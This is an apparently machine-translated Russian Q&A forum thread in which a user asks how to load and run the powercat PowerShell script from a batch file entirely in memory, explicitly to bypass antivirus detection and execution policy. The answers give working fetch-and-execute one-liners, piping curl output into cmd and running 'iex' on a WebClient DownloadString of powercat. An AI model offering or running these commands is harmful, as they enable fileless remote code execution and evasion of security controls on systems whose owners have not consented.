Загрузите удаленный файл в память через чистую партию - PullRequest
6 голосов
/ 19 февраля 2020

В моем пакетном скрипте я пытаюсь загрузить и выполнить скрипт powershell удаленно. Вот URL:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

Я хочу загрузить файл в память (не касаясь диска) по нескольким причинам:

  1. Обходит AV обнаружение
  2. Обходит политику выполнения Powershell, поэтому нет необходимости в powershell -nop -ep bypass, который вызывает обнаружение AV
  3. Не выбрасывает ненужные синтаксические ошибки
  4. Вы можете напрямую использовать функции, определенные внутри скрипта .ps1

Очевидно, я могу использовать certutil:

certutil -urlcache -split -f <url>

, но я не хочу, чтобы файл попадал на диск, что может вызвать обнаружение AV.
То же самое можно сделать с помощью других языков, таких как PowerShell:

(New-Object Net.WebClient).DownloadString($url)

ИЛИ

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()

Я знаю, что пакетный не лучший язык для этого, но Является ли это возможным? (Я хочу чистую партию )

Ответы [ 3 ]

2 голосов
/ 24 февраля 2020

Загрузка и выполнение без временного файла

curl -s https://example.com/test.bat | cmd /v:on /k

Пример test.bat

@echo off
(
cls

echo Hello
echo Time: !time!
exit
)

Создание кода

Как сказано в Принудительный пакетный файл для загрузки в ОЗУ перед запуском вы можете кэшировать отдельный командный блок.

Существуют некоторые ограничения:

  • Он работает в контексте cmd (не в пакетном режиме), расширение переменной немного отличается.
  • Этикетки нельзя использовать

С помощью этой техники вы можете использовать обычный пакетный стиль макроса .

1 голос
/ 25 марта 2020

Я знаю, что вам нужен чистый пакет, но серьезно, хотя, даже с Restricted политикой выполнения powershell, он разрешает отдельные команды. См. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7

Так просто, как

powershell -command iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
0 голосов
/ 19 февраля 2020

Насколько мне известно, нет. Пакетное чтение файла, доступ к нему через чтение перми. Это означает, что он не будет использовать правильный протокол для доступа к файлу на веб-сервере без пакета, позволяющего читать его по FTP.

...